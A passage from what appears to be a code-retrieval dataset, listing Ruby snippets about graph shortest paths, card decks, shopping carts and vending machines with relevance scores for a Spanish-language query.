... except that the distance from the source to itself is 0.\n d[source] = 0\n # `unvisited' maintains an array of unvisited vertices. Initially\n # it contains all the vertices of the graph.\n unvisited = @vertices\n # The main loop.\n until unvisited.empty?\n # Choose a vertex with the smallest distance to the source.\n current = unvisited.min { |v1, v2| d[v1] <=> d[v2] }\n # If the distance from this vertex to the source is Infinity,\n # then all remaining unvisited vertices are inaccessible from\n # the source, hence return.\n return d if d[current] == Infinity\n # Otherwise, mark the current vertex as visited.\n unvisited.delete(current)\n # Relax each vertex adjacent to the current vertex.\n @adjacent[current].each do |vertex|\n if d[vertex] > d[current]+1 then d[vertex] = d[current]+1 end\n end\n end\n # Finally, return `d'.\n d\n end", "title": "" }, { "docid": "7cf858dbb45b969327d2f3e21ae71da6", "score": "0.519734", "text": "def calculate_distance(graph)\n 1\n end", "title": "" }, { "docid": "331e593aeba80a298c6d65491eff7bb0", "score": "0.5191588", "text": "def add_edge(source, target, weight = 1)\n connect_graph(source, target, weight) #directional graph\n connect_graph(target, source, weight) #non directed graph (inserts the other edge too)\n end", "title": "" }, { "docid": "029684539a93a1fa7e3b37fac70e1529", "score": "0.51895064", "text": "def weight(u,v)\n @weights[u][v]\n end", "title": "" }, { "docid": "18b1662c68d0f7814e8735bda2411037", "score": "0.51735735", "text": "def get_adjacent_vertices(source)\n adjacent_array = []\n if @edges.key?(source)\n adjacent_array = @edges[source].map { |dst, _weight| dst }\n end\n Set.new(adjacent_array)\n end", "title": "" }, { "docid": "4c6b25303e89560c53d2274068775419", "score": "0.51679826", "text": "def size(is_weighted=false)\n if is_weighted\n graph_size = 0\n @adj.each do |_, hash_val|\n hash_val.each { |_, v| graph_size += v[:weight] if v.key?(:weight) }\n end\n return graph_size / 2\n end\n number_of_edges\n end", "title": "" }, { "docid": "6f61ce45a3115c07cd9d7f7022e94636", "score": "0.51520056", "text": "def weight=(w)\n @weight = w\n @target_weight = w\n end", "title": "" }, { "docid": "6cf18f646534d63962546e34675d2fea", "score": "0.515058", "text": "def number_of_edges\n @adj.values.map(&:length).inject(:+) / 2\n end", "title": "" }, { "docid": "574b67a4103539278b47a71829f00d6c", "score": "0.5148681", "text": "def shortest_flight\n # return max integer of no edges\n return Edge.new('', (2**(0.size * 8 -2) -1)) if @edges.length == 0\n\n # find the shortest distance in the distances array\n min = distances.min\n @edges.each{|edge| return edge if edge.distance == min}\n end", "title": "" }, { "docid": "8a7521b5658063c8d894e5cc5bc1401d", "score": "0.50950086", "text": "def weight\n read_attribute(:weight) || ordered_item.try(:weight) || BigDecimal(0)\n end", "title": "" }, { "docid": "fa23a651fe571aa25d8465d36d8f4e1a", "score": "0.5088113", "text": "def weight\n instructions[2]\n end", "title": "" }, { "docid": "d5c04aa9e9889f02a47b047cb9860af4", "score": "0.5081261", "text": "def external_passive_edge_value\n edges.reject(&:flexible?).map(&:value).compact.sum\n end", "title": "" }, { "docid": "b23c98add9400bd94c6c859c89ec2456", "score": "0.5074428", "text": "def getShortestDistance(destination)\n ## if alays comes your ed_pt as empty value and no path so defined some interger as en_pt size\n d = @distance[destination]\n #p @distance[destination]\n if d == nil\n return (2**(0.size * 8 -2) -1) #max integer\n else\n return d\n end \n end", "title": "" }, { "docid": "00ab97623de9709183b808ebfa7de521", "score": "0.5072582", "text": "def weight\n\n @db.fsiz\n end", "title": "" }, { "docid": "329c4858e3a92561f71e8c11e5ab30ab", "score": "0.50659394", "text": "def weight\r\n\t\tbase_weight\r\n\tend", "title": "" }, { "docid": "329c4858e3a92561f71e8c11e5ab30ab", "score": "0.50659394", "text": "def weight\r\n\t\tbase_weight\r\n\tend", "title": "" }, { "docid": "9141b74c092f6b9d6d88f3b602bc8c12", "score": "0.50555587", "text": "def distance(edges)\n distance = 0\n edges.each { |edge| distance += edge.distance }\n distance\n end", "title": "" }, { "docid": "577d2af59611175deef9cb068d252f21", "score": "0.50535583", "text": "def cost(u, v = nil, weight = nil)\n u.is_a?(Arc) ? weight = v : u = edge_class[u,v]\n case weight\n when Proc\n weight.call(u)\n when nil\n self[u]\n else\n self[u][weight]\n end\n end", "title": "" }, { "docid": "cf8263cbbff89f64b2b1adac79c319aa", "score": "0.50422287", "text": "def weight\n self.class.weight\n end", "title": "" }, { "docid": "17545c8d90cb7577cc7e89409d1b8897", "score": "0.50367284", "text": "def edge(i, j, weight=1)\n inode = (nodes[i] ||= Node.new(i))\n jnode = (nodes[j] ||= Node.new(j))\n inode.edge(jnode, weight)\n jnode.edge(inode, weight)\n end", "title": "" }, { "docid": "2ac9105fbad93a1c783bcdab90a69d27", "score": "0.5033275", "text": "def weight\n product.weight\n end", "title": "" }, { "docid": "e3007f20356f386a71bc38b8b0fa4643", "score": "0.5032579", "text": "def total_weight(v)\n @total_weights[v] ||= @weights[v] + adjacent(v).sum { |w| total_weight(w) }\n end", "title": "" }, { "docid": "09850faeab2cd0633c1a4a32518e3c0e", "score": "0.50306493", "text": "def weight\n\t\treturn @api[\"weight\"]\n\tend", "title": "" }, { "docid": "c824a914b64983087c456a893307a6b8", "score": "0.5029718", "text": "def get_edge(x, y)\n return nil unless edge?(x, y)\n w = @g.get_edge(index(x), index(y))\n Edge.new(x, y, w) if w\n end", "title": "" }, { "docid": "e162ffcdadfae3750f3c82e4abdfa4f1", "score": "0.5027011", "text": "def get_shortestroad(source, target)\n \t#Cleans the arrays\n distances = {}\n visited = {}\n self.each do |node|\n distances[node] = nil\n visited[node] = nil\n end\n \n #Sets the distance to the first node to 0 because it starts there\n distances[source] = 0\n \n #Copy the array of this class to the array 'nodes'\n nodes = self.clone\n until nodes.empty?\n \t#Finds the nearest nodes of the array 'nodes'\n \tnearest_node = nodes.inject do |node1, node2|\n next node2 unless distances[node1]\n next node1 unless distances[node2]\n next node1 if distances[node1] < distances[node2]\n node2\n end\n \n # returns the length if it reaches the goal\n return distances[target] if nearest_node == target\n \n #Gets the neighbors nodes to the node 'nearest_node'\n neighbors = get_neighbors(nearest_node)\n neighbors.each do |node|\n \t#Saves in a temporal variable the sum of the current value + the length between the two nodes\n temp = distances[nearest_node] + nodes.get_length_to(node, nearest_node)\n if distances[node].nil? or temp < distances[node]\n distances[node] = temp\n visited[nodes] = nearest_node\n end\n end\n nodes.delete nearest_node\n end\n \n #Return the result\n if target\n return nil\n else\n return distances\n end\n end", "title": "" } ]
ca376fccf9d20e1a1b8ced2bde2c4133
Inicializa las dos barajas de cartas: monstruos y tesoros
[ { "docid": "0e45b666a44a557f08775733aa7d734e", "score": "0.0", "text": "def initCards()\n initTreasureCardDeck()\n initMonsterCardDeck()\n initCultistCardDeck()\n \n shuffleMonsters()\n shuffleTreasures()\n shuffleCultists()\n \n @usedTreasures = Array.new\n @usedMonsters = Array.new\n \n end", "title": "" } ]
[ { "docid": "473207593a318cbc81b94b775a25b069", "score": "0.70951915", "text": "def initialize\n cartas = [*1..13].product(['C', 'D', 'E', 'T'])\n @cartas = cartas\n end", "title": "" }, { "docid": "75bb8f707d62d1103f4d819992561909", "score": "0.63804156", "text": "def initialize\n @total_money = 0\n @sale_amount = 0\n @stocks = {}\n @stocks.default = 0\n @items = {}\n\n cola1 = Drink.new('コーラ', 120)\n water1 = Drink.new('ウォーター', 100)\n redbull1 = Drink.new('レッドブル', 200)\n \n @bought = {\"コーラ\" => 0, \"ウォーター\" => 0, \"レッドブル\" => 0} #購入したドリンクの記録\n @continuing = [] #前回購入したドリンクの空配列\n store(cola1, 5)\n store(water1, 5)\n store(redbull1, 10)\n end", "title": "" }, { "docid": "c0dcb4d7d34d92aa9bc6afb2a6d5d571", "score": "0.6331397", "text": "def initialize\n @cart = []\n @coupons\n end", "title": "" }, { "docid": "1de70390924d995fc7321d6bdccc3df3", "score": "0.63144153", "text": "def initialize\n @total_money = 0\n @sale_amount = 0\n @stocks = {}\n @stocks.default = 0\n @items = {}\n\n cola1 = Drink.new('コーラ', 10)\n water1 = Drink.new('ウォーター', 10)\n redbull1 = Drink.new('レッドブル', 10)\n @bought_redbull = {\"レッドブル\" => 0} #購入したドリンクの記録\n store(cola1, 10)\n store(water1, 10)\n store(redbull1, 10)\n end", "title": "" }, { "docid": "d8b1a7f54aed9779325c700e127b2ce7", "score": "0.6307522", "text": "def initialize\n @codigo = Faker::Barcode.ean\n @total = 0\n @productos = []\n @fecha_creacion = Time.now.strftime(\"%d/%m/%Y\")\n @fecha_entrega = Faker::Date.forward(days: 2).strftime(\"%d/%m/%Y\")\n @estado = \"preparando\"\n end", "title": "" }, { "docid": "a371f5e9f97eedc2ed96ded131d2e8bd", "score": "0.6267818", "text": "def initialize\n @codigo = Faker::Barcode.ean\n @total = 0\n @productos = []\n @fecha_creacion = Time.now.strftime(\"%d/%m/%Y\")\n @fecha_entrega = Faker::Date.forward(days: 2)\n @estado = \"preparando\"\n end", "title": "" }, { "docid": "a5f501e57179adcbdc453e91ddd36a42", "score": "0.6206338", "text": "def initialize_items(cart)\n cart.each do |cart_content|\n self.items.build(\n :product_id=>cart_content[:product_id],\n :quantity=>cart_content[:quantity],\n :product_option_id=>cart_content[:product_option_id]\n )\n end\n end", "title": "" }, { "docid": "7ab77b0e2996d191493521885b66b8c9", "score": "0.61882406", "text": "def initialize type, cartes\n self.type = type\n self.cartes = cartes.clone\n # L'ordre d'appel de ces 3 fonnctions est important\n self.remplacement = chercher_remplacement\n self.complements = chercher_complements\n self.points = compter_les_points\n self.declinaison = true\n end", "title": "" }, { "docid": "6831dcea819594c181fe3fdf87904767", "score": "0.60868746", "text": "def carta_menor_baza \n\t\tcarta_menor = nil\n\t\t# Recorreo todos los pares clave/valor del hash\n\t\[email protected] do |clave,valor|\n\t\t\t# Si es la primera iteracion\n\t\t\tif carta_menor == nil\n\t\t\t\tthen\n\t\t\t\t# Asigna la primera carta recorrida a la variable \n\t\t\t\tcarta_menor = valor\n\t\t\telse\n\t\t\t\t# Sino es la primera iteracion\n\t\t\t\t# Si la carta en la variable es mayor que la nueva carta en iteracion\n\t\t\t\tif carta_menor.es_mayor valor\n\t\t\t\t\tthen\n\t\t\t\t\t# La asigna\n\t\t\t\t\tcarta_menor = valor\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t# Salvo que la baza este vacia siempre va a devolver una carta \n\t\treturn carta_menor\n\tend", "title": "" }, { "docid": "3017e027231559fd28a2a6b4850bb268", "score": "0.60161", "text": "def initialize valor,palo\n\t @carta = valor + \"+\" + palo\n\tend", "title": "" }, { "docid": "48632f8c227f7eac18c8f4bcbb45a8a0", "score": "0.60122144", "text": "def initialize(name = \"Cart\")\n @name = name\n @contents = []\n # @quantities = {}\n # @@all << self\n end", "title": "" }, { "docid": "b2ece7e30a7c231e295a4664fdcb2105", "score": "0.59932065", "text": "def initialize(quantidade)\n @quantidade = quantidade\n @selecionaveis = quantidade/2\n @populacao = criar_populacao(@quantidade)\n nova_era\n end", "title": "" }, { "docid": "2206464f4a38b350aad8d620e6f7fec4", "score": "0.5978914", "text": "def init_products\n @name = '有钱赚01店'\n @products = [['苹果', 'PRODUCT0001', 3.5],\n ['羽毛球', 'PRODUCT0002', 1],\n ['可口可乐', 'PRODUCT0003', 2.5],\n ['瓜子', 'PRODUCT0004', 3.5],\n ['拖把', 'PRODUCT0005', 70],\n ['洗洁精', 'PRODUCT0006', 40]].map do |p|\n Product.new(p[0], p[1], p[2], p[3])\n end\n return self\n end", "title": "" }, { "docid": "9f2e095566cea82f0d83ab904362a440", "score": "0.59762186", "text": "def initialize(num_linhas, num_colunas)\n\t\ttotal_bombas = (num_linhas * num_colunas) / 8\n\t\t@array_bombas = cria_array_bombas(total_bombas, num_linhas, num_colunas)\n\t\t@array_bandeiras = Array.new\n\t\t@matriz = cria_matriz(num_linhas, num_colunas)\n\tend", "title": "" }, { "docid": "0ff7eb885e862478de2bf41ee4af2268", "score": "0.59629047", "text": "def initialize nom_joueur, joueur_id = 0\n self.nom = nom_joueur\n self.joueur_id = joueur_id\n self.cartes = []\n self.combinaisons = []\n self.compte_tour = 0\n self.a_pose_combien = 0\n self.a_atteint_51 = false\n end", "title": "" }, { "docid": "37085367a921084601fa29356ea1b81d", "score": "0.58924395", "text": "def initialize(discount=0) #discount is 0 to start.\r\n @discount = discount \r\n @total = 0 #same concept with discount, nothing to start. Try your best to conceptualize real world model.\r\n @items = [] #this is an important step because it ties into the real world model of things. The number of items in my \"cart\" is empty before the cashier charges anything.\r\n @last_item = [] \r\n end", "title": "" }, { "docid": "5bf9408c8d3c8ff97f108f4de846ff42", "score": "0.5890961", "text": "def cart ; end", "title": "" }, { "docid": "09611b9539758fcd4c3c121dce4b3404", "score": "0.5836596", "text": "def init_coins\n [\n {\n name: '$0.25',\n quantity: 5,\n value: 25,\n },\n {\n name: '$0.50',\n quantity: 5,\n value: 50,\n },\n {\n name: '$1.00',\n quantity: 5,\n value: 100,\n },\n {\n name: '$2.00',\n quantity: 5,\n value: 200,\n },\n {\n name: '$3.00',\n quantity: 5,\n value: 300,\n },\n {\n name: '$5.00',\n quantity: 5,\n value: 500,\n },\n ]\n end", "title": "" }, { "docid": "3873232d63941e4398ccb02ce90390d6", "score": "0.58020747", "text": "def initialize\n\t\t@stock_pile = Array.new\t\t\t#left over for play\n\t\t@discard_pile = Array.new\t\t#unused stock\n\t\t@foundation = {\"H\"=> [\"No Cards\"], \"D\"=> [\"No Cards\"], \"C\"=> [\"No Cards\"], \"S\"=> [\"No Cards\"]}\t\t#end result * 4 (hash of arrays)\n\t\t@tableau = {\"1D\" => [], \"1U\" => [], \n\t\t\t\t\"2D\" => [], \"2U\" => [], \n\t\t\t\t\"3D\" => [], \"3U\" => [], \n\t\t\t\t\"4D\" => [], \"4U\" => [], \n\t\t\t\t\"5D\" => [], \"5U\" => [], \n\t\t\t\t\"6D\" => [], \"6U\" => [], \n\t\t\t\t\"7D\" => [], \"7U\" => []}\t\t\t#initial * 7 (array of arrays)\n\t\t@tableau_open = 0\n\t\t@foundation_open = 4\n\t\t@stock_useless = 0\n\t\t@cur_card = \"\"\n\t\tcard_value = \"\"\n\t\tcard_suit = \"\"\n\t \t@cards_played = 0\n\tend", "title": "" }, { "docid": "08e365843328437614c6ea46a1343f1a", "score": "0.5777885", "text": "def initialize(promotions)\n @items = []\n @promotions = promotions # must be an array to allow multiple promotions simultaneously for different items on same checkout\n end", "title": "" }, { "docid": "eefc47b55673e80af0b45fd19979306e", "score": "0.57744724", "text": "def usada\n @mazo.habilitar_carta_especial(self)\n end", "title": "" }, { "docid": "f4fb2b908c41e9e7124ec28f7d36ffd7", "score": "0.5771158", "text": "def initialize(pricing_rules)\n @discounts = pricing_rules\n @products = initialize_products\n @cart = {}\n @total_price = 0\n @input_items = []\n end", "title": "" }, { "docid": "cb3603e1fbd82c4bde935c875877b203", "score": "0.57685465", "text": "def initialize(cart_items)\n @cart_items = cart_items\n end", "title": "" }, { "docid": "853a106eab7067673508152819bcfea5", "score": "0.5767582", "text": "def initialize(discount = 0)\n # Sets an instance variable @total on initialization to zero.\n @total = 0\n # Discount is optional, but if passed one in we need to store its value.\n @discount = discount\n # Make empty items array to keep track of all the items in the cart.\n @items = []\n end", "title": "" }, { "docid": "d37824ade96864317ad3848ac6981620", "score": "0.57525057", "text": "def limpar\n\t\tfor ct in (0..($CarrinhoCompras.size - 1))\n\t\t\t$CarrinhoCompras[ct] = \"\"\n\t\tend\n\t\tfor ct in (0..($CarrinhoComprasQuant.size - 1))\n\t\t\t$CarrinhoComprasQuant[ct] = 0\n\t\tend\n\t\t\n\t\t\t$CarrinhoCompras.delete(\"\")\t\t# APAGANDO ITENS DO CARRINHO\n\t\t\t$CarrinhoComprasQuant.delete(0)\t\t# APAGANDO Quantidade referente a item\n\n\tend", "title": "" }, { "docid": "16998ef21864a3fa4f801a447d58921a", "score": "0.5750466", "text": "def initialize_metros(metros)\n metros.each do |metro|\n metro['flight_to'] = Array.new\n self.add_metro(metro['code'], metro)\n end\n end", "title": "" }, { "docid": "cdadd7fdf7a35a2d813a6e346b42be81", "score": "0.5738142", "text": "def initialize\n @is_open = false\n @stock = 0\n @pizza_sales = 0\n @@all_pizzeria << self\n end", "title": "" }, { "docid": "34c12d5c26df4ab0120fa66cad0c399c", "score": "0.5736291", "text": "def inicializar (nombre, proteinas, carbohidratos, lipidos, co2, terreno, cantidad)\n @nombre, @proteinas, @carbohidratos, @lipidos, @co2, @terreno, @cantidad = nombre, proteinas, carbohidratos, lipidos, co2, terreno, cantidad\n end", "title": "" }, { "docid": "2837e09705d5ba2013aeab4da40573e5", "score": "0.57287824", "text": "def initialize(nombre,proteinas,carbohidratos,lipidos,gei,terreno,nPorciones)\r\n @nombre = nombre\r\n @nPorciones = nPorciones\r\n @proteinas = proteinas*nPorciones\r\n @carbohidratos = carbohidratos*nPorciones\r\n @lipidos = lipidos*nPorciones\r\n @gei = gei*nPorciones\r\n @terreno = terreno*nPorciones\r\n end", "title": "" }, { "docid": "251efcd28bc9530bff13f60049736d8f", "score": "0.56770223", "text": "def initialize(num_tortas, type_torta, time_cook)\n #array vacio para meter las tortas\n @batch_tortas = []\n @time_cook = time_cook\n #@batch = batch\n @num_tortas = num_tortas\n @type_torta = type_torta\n end", "title": "" }, { "docid": "ff9639d2f45437639e1358a2384f6dc2", "score": "0.5676296", "text": "def defaults\n {\n cart_name: random_alphanums(37, 'AFT'),\n cart_description: random_alphanums(37, 'AFT'),\n business_purpose: nil,\n items: {}\n }\n end", "title": "" }, { "docid": "3098a454d26801c61028a6d8674437c6", "score": "0.56669384", "text": "def juega_ronda_no_hacer\n\n\t\tUtil.muestra_msg \"Iniciando ronda 'no hacer'..\\n\", @verbose\n\n\t\t# Una ronda siempre empieza con el reparto de cartas, inicializando las IA y mostrando la mesa de juego por pantalla\n\t\tUtil.muestra_msg \"Repartiendo cartas..\\n\", @verbose\n\t\t\n\t\tbaraja_de_juego = Baraja.new\n\t\tbaraja_de_juego.repartir @jugadores, @jugador_en_activo\n\n\t\t# Instanciamos la IA de los jugadores\n\t\t# La constante pasada indica que tipo de IA\n\t\t# El nivel lo tiene el jugador pasado en su initialize\n\t\t@jugadores[Constantes::J1].juega Constantes::NO_HACER\n\t\t@jugadores[Constantes::J2].juega Constantes::NO_HACER\n\t\t@jugadores[Constantes::J3].juega Constantes::NO_HACER\n\t\t@jugadores[Constantes::J4].juega Constantes::NO_HACER\n\n\t\t# Juega las 13 bazas\n\t\tfor i in 1..13\n\t\t\tUtil.muestra_msg \"Baza=>\"+i.to_s+\"\\n\", @verbose\n\t\t\tUtil.muestra_msg to_s, @verbose\n\n\t\t\t# Para cada baza crea un nuevo objeto Baza\n\t\t \t@baza_en_juego = Baza.new @jugador_en_activo\n\n\t\t # Obtiene la carta del primer jugador\n\t\t\t# La mete en la baza en juego\n\t\t\t# Pasa al siguiente jugador\n\t\t \tc1 = @jugadores[@jugador_en_activo].juega_primero\n\t\t \t@baza_en_juego.baza = {@jugador_en_activo => c1}\n\t\t \tsiguiente_jugador_en_activo\n\n\t\t\t# Igual que la anterior pero en lugar de jugar_primero llama a jugar (ya hay una carta en la baza por tanto)\n\t\t \tc2 = @jugadores[@jugador_en_activo].juega_despues c1, @baza_en_juego\n\t\t \t@baza_en_juego.baza[@jugador_en_activo]=c2\n\t\t \tsiguiente_jugador_en_activo\n\t\t \t\n\t\t\t# Igual que la anterior\t\n\t\t\tc3 = @jugadores[@jugador_en_activo].juega_despues c1, @baza_en_juego\n\t\t \t@baza_en_juego.baza[@jugador_en_activo]=c3\n\t\t \tsiguiente_jugador_en_activo\n\t\t \t\n\t\t\t# Igual que la anterior\t\n\t\t\tc4 = @jugadores[@jugador_en_activo].juega_despues c1, @baza_en_juego\n\t\t \t@baza_en_juego.baza[@jugador_en_activo]=c4\n\t\t \tsiguiente_jugador_en_activo\n\t\t \t\n\t\t\t# Muestra la baza jugada\n\t\t\tUtil.muestra_msg @baza_en_juego.to_s, @verbose\n\t\t\t# Comprueba quien ha ganado la baza (jugador que haya echalado la carta mas alta del palo inicial)\n\t\t\tjugador_que_gana = @baza_en_juego.quien_gana c1\n\t\t\tUtil.muestra_msg \"Pierde=>\"+@jugadores[jugador_que_gana].nombre_jugador+\"\\n\", @verbose\n\t\t\t# Le suma un negativo\n\t\t \t@jugadores[jugador_que_gana].puntuacion_jugador -= 1\n\t\t\t# El jugador que ha ganado comienza la siguiente baza\n\t\t \t@jugador_en_activo = jugador_que_gana\n\t\t\t# Guarda la baza en bazas_jugadas\n\t\t\t@bazas_jugadas << @baza_en_juego\n\t \tend\n\tend", "title": "" }, { "docid": "ff5779f41ed104c830c1f565be6f2aed", "score": "0.56589013", "text": "def initialize#CONTENT BASE PRICE AND LIST OF EVERY INGREDIENT\r\n @base_price = 3\r\n @ingredients = []\r\n end", "title": "" }, { "docid": "499049c0a1c2f9e21c90c556d6f3d2b1", "score": "0.5636934", "text": "def obtiene_cartas_palo_menor mano\n\t\tcartas_palo_menor = []\n\t\tcartas_corazones = obtiene_cartas_mismo_palo mano, (Carta.new Constantes::AS,Constantes::CORAZONES)\n\t\tcartas_picas = obtiene_cartas_mismo_palo mano, (Carta.new Constantes::AS,Constantes::PICAS)\n\t\tcartas_diamantes = obtiene_cartas_mismo_palo mano, (Carta.new Constantes::AS,Constantes::DIAMANTES)\n\t\tcartas_treboles = obtiene_cartas_mismo_palo mano, (Carta.new Constantes::AS,Constantes::TREBOLES)\n\n\t\tif cartas_corazones.size > 0 and (cartas_corazones.size <= cartas_picas.size or cartas_picas.size == 0) and (cartas_corazones.size <= cartas_diamantes.size or cartas_diamantes.size == 0) and (cartas_corazones.size <= cartas_treboles.size or cartas_treboles.size == 0)\n\t\t then\n\t\t cartas_palo_menor = cartas_corazones\n\t\telsif cartas_picas.size > 0 and (cartas_picas.size <= cartas_corazones.size or cartas_corazones.size == 0) and (cartas_picas.size <= cartas_diamantes.size or cartas_diamantes.size == 0) and (cartas_picas.size <= cartas_treboles.size or cartas_treboles.size == 0)\n\t\t then\n\t\t cartas_palo_menor = cartas_picas\n\t\telsif cartas_diamantes.size > 0 and (cartas_diamantes.size <= cartas_corazones.size or cartas_corazones.size == 0) and (cartas_diamantes.size <= cartas_picas.size or cartas_picas.size == 0) and (cartas_diamantes.size <= cartas_treboles.size or cartas_treboles.size == 0)\n\t\t then\n\t\t cartas_palo_menor = cartas_diamantes\n\t\telsif cartas_treboles.size > 0 and (cartas_treboles.size <= cartas_corazones.size or cartas_corazones.size == 0) and (cartas_treboles.size <= cartas_picas.size or cartas_picas.size == 0) and (cartas_treboles.size <= cartas_diamantes.size or cartas_diamantes.size == 0)\n\t\t then\n\t\t cartas_palo_menor = cartas_treboles\n\t\tend\t \n\t\treturn cartas_palo_menor\n\tend", "title": "" }, { "docid": "fd976485ecd04e004c8da3b44d5609d8", "score": "0.563152", "text": "def cantidad_cartas(numero_cartas)\n\n array_cartas = []\n\n numero_cartas.times do |i|\n \n #selecciona un numero al azar 1 al 13\n numRandom = Random.new\n numero = numRandom.rand(1..13)\n\n #selecciona una pinta al azar\n pintaSample = ['C','D','E','T']\n pinta = pintaSample.sample\n \n #instancia la carta \n c = Carta.new(numero, pinta)\n \n #la empujamos en el arreglo \n array_cartas.push(c)\n end\n end", "title": "" }, { "docid": "af382c818fd9c18bbdacfa98c51c019f", "score": "0.56272995", "text": "def initialize(valor_energetico,cnt_grasas,cnt_grasas_sat,hidratos_carb,azucares,prot,sal,porcinones,tam_porciones)\n @valor_energetico=valor_energetico\n @cnt_grasas=cnt_grasas\n @cnt_grasas_sat=cnt_grasas_sat\n @hidratos_carb=hidratos_carb\n @azucares=azucares\n @prot=prot\n @sal=sal\n @porciones=porciones\n @tam_porciones=tam_porciones\n end", "title": "" }, { "docid": "2bfaf33b8d5e30e25d0df86de154d293", "score": "0.5626389", "text": "def pesca_carta\r\n @log.info \"pesca_carta\"\r\n carte_player = []\r\n briscola_in_tavola = true\r\n if @mazzo_gioco.size > 0\r\n # ci sono ancora carte da pescare dal mazzo \r\n @round_players.each do |player|\r\n # pesca una sola carta\r\n if @mazzo_gioco.size > 0\r\n carte_player << @mazzo_gioco.pop\r\n elsif briscola_in_tavola == true\r\n carte_player << @briscola_in_tav_lbl\r\n @log.info \"pesca_carta: distribuisce anche la briscola\"\r\n briscola_in_tavola = false\r\n else\r\n @log.error \"Pesca la briscola che non c'č pių\"\r\n end \r\n #p carte_player\r\n player.algorithm.onalg_pesca_carta(carte_player)\r\n inform_viewers(:onalg_pesca_carta,player.name,carte_player.size, briscola_in_tavola)\r\n # store cards to each player for check\r\n carte_player.each{|c| @carte_in_mano[player.name] << c}\r\n carte_player = [] # reset array for the next player\r\n end\r\n else\r\n @log.error \"Pesca in un mazzo vuoto\"\r\n end\r\n @log.info \"Mazzo rimanenti: #{@mazzo_gioco.size}\"\r\n submit_next_event(:new_mano)\r\n end", "title": "" }, { "docid": "f2e70c8d1c471f15ce80b8af25bdf9d5", "score": "0.56243014", "text": "def initialize(netiqueta, venergeticokJ, venergeticokcal, cantgrasas, cantgrasasat, hidratosc, azucares, fibraa, proteinas, sales)\n \n @netiqueta = netiqueta\n @venergeticokJ = venergeticokJ\n @venergeticokcal = venergeticokcal\n @cantgrasas = cantgrasas\n @cantgrasasat = cantgrasasat\n @hidratosc = hidratosc\n @azucares = azucares\n @fibraa = fibraa\n @proteinas = proteinas\n @sales = sales\n \n end", "title": "" }, { "docid": "54722b8c0345f0591e5755443542e324", "score": "0.5619216", "text": "def initialize(sexo, desayuno, comida, cena)\n\t\t@impacto_ambiental_kcal = 0.0\n\t\t@impacto_ambiental_proteina = 0.0\n\t\t@comida_hoy = {}\n\t\t@sexo = sexo\n\t\tset_comida_hoy(desayuno, comida, cena)\n\tend", "title": "" }, { "docid": "ed4281d40b6255edebfcf2c5ea3f058f", "score": "0.5618641", "text": "def initialize(disc=0)\n @total = 0\n @discount = disc\n @items = []\n @transaction = []\nend", "title": "" }, { "docid": "b1c15d3d074fa9c9080495c355a25a01", "score": "0.5616628", "text": "def initialize\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# you don't need to pass item at the initialize state.\n\t\tputs \"Bonjour!\"\n\t\t@all_product_names = []\n\t\t@library = []\n\t\t@item = \"\"\n\t\t@price = \"\"\n\t\t@all_prices = []\n\t\t@all_product_names = [\"apple\", \"orange\", \"milk\"]\n\t\t@customer_items = []\n\tend", "title": "" }, { "docid": "83283060fd9288331e4ecff578b1c173", "score": "0.56078935", "text": "def initialize(*args) # inicializador de los atributos \n case args.size\n when 0\n @marcha=0\n @color=\"gris\"\n when 2\n @marcha, @color =args\n end\n @kilometrosRecorridos= 0\n Bicicleta.incrementarNumeroBicicletas;\n @NUMEROSERIE=@@NumeroBicicletas+1 \n end", "title": "" }, { "docid": "08482cbb304841dd84ffa718a73f71fb", "score": "0.5603131", "text": "def initialize products, quantity\n @products = products\n @quantity = quantity\n end", "title": "" }, { "docid": "a4e3a5348e91b32700b6b53a61656fd7", "score": "0.55919796", "text": "def initialize(discount = 0) #discount has a default value of 0 if no discount is given\n @discount = discount #discount instant var is set to discount local variable\n @total = 0 #need to set the total to start at 0. creating a baselevel.\n @items = [] #need to set your list of items (your shopping bag to an empty array that you will fill with items)\n end", "title": "" }, { "docid": "37a7aa853794cb41bafe805a263248af", "score": "0.5588996", "text": "def create\n @company = Company.find(1)\n @customers = @company.get_customers\n @puntos = @company.get_puntos \n @tipocarga = Tipocargue.all \n @cotizacion = Cotizacion.new(cotizacion_params)\n \n @cotizacion[:code] = @cotizacion.generate_number(\"1\") \n\n\n\n @cotizacion[:total] = @cotizacion[:price] * @cotizacion[:qty] \n\n @cotizacion[:total2] = @cotizacion[:price2] * @cotizacion[:qty2] \n \n @cotizacion[:total3] = @cotizacion[:price3] * @cotizacion[:qty3] \n \n\n respond_to do |format|\n if @cotizacion.save\n format.html { redirect_to @cotizacion, notice: 'Cotizacion was successfully created.' }\n format.json { render :show, status: :created, location: @cotizacion }\n else\n format.html { render :new }\n format.json { render json: @cotizacion.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "16979cc4ff400afc1f5e7b2ba3a83949", "score": "0.55757195", "text": "def pesca_carta\n @log.info \"pesca_carta\"\n carte_player = []\n briscola_in_tavola = true\n if @mazzo_gioco.size > 0\n # ci sono ancora carte da pescare dal mazzo \n @round_players.each do |player|\n # pesca una sola carta\n if @mazzo_gioco.size > 0\n carte_player << @mazzo_gioco.pop\n elsif briscola_in_tavola == true\n carte_player << @briscola_in_tav_lbl\n @log.info \"pesca_carta: distribuisce anche la briscola\"\n briscola_in_tavola = false\n else\n @log.error \"Pesca la briscola che non c'e' piu'\"\n end \n #p carte_player\n player.algorithm.onalg_pesca_carta(carte_player)\n # store cards to each player for check\n carte_player.each{|c| @carte_in_mano[player.name] << c}\n carte_player = [] # reset array for the next player\n end\n else\n @log.error \"Pesca in un mazzo vuoto\"\n end\n @log.info \"Mazzo rimanenti: #{@mazzo_gioco.size}\"\n submit_next_event(:new_mano)\n end", "title": "" }, { "docid": "7a035e7b1fa5cf1ebf9948011d3f4cf5", "score": "0.5574199", "text": "def initialize(a, b, c, d, e, f)\n\t\t@nombre=a\n\t\t@proteinas=b\n\t\t@carbos=c\n\t\t@lipidos=d\n\t\t@gases=e\n\t\t@terreno=f\n\t\t@kcal= ((b*4) + (c*4) + (d*9)).round(1)\n\tend", "title": "" }, { "docid": "25488c4a453e9c9bcdc63522640ec43e", "score": "0.55677617", "text": "def create\n # creer un order\n @order = Order.create(user_id: current_user.id)\n @cart_id = Cart.where(user_id: current_user.id).first.id\n @item = Item.where(id: CartItem.select(:item_id).where(cart_id: @cart_id))\n # qjouter tous les items du cqrt dqns OrderItems\n @item.each do |item|\n qte = CartItem.where(cart_id: @cart_id, item_id: item.id).first.quantity\n 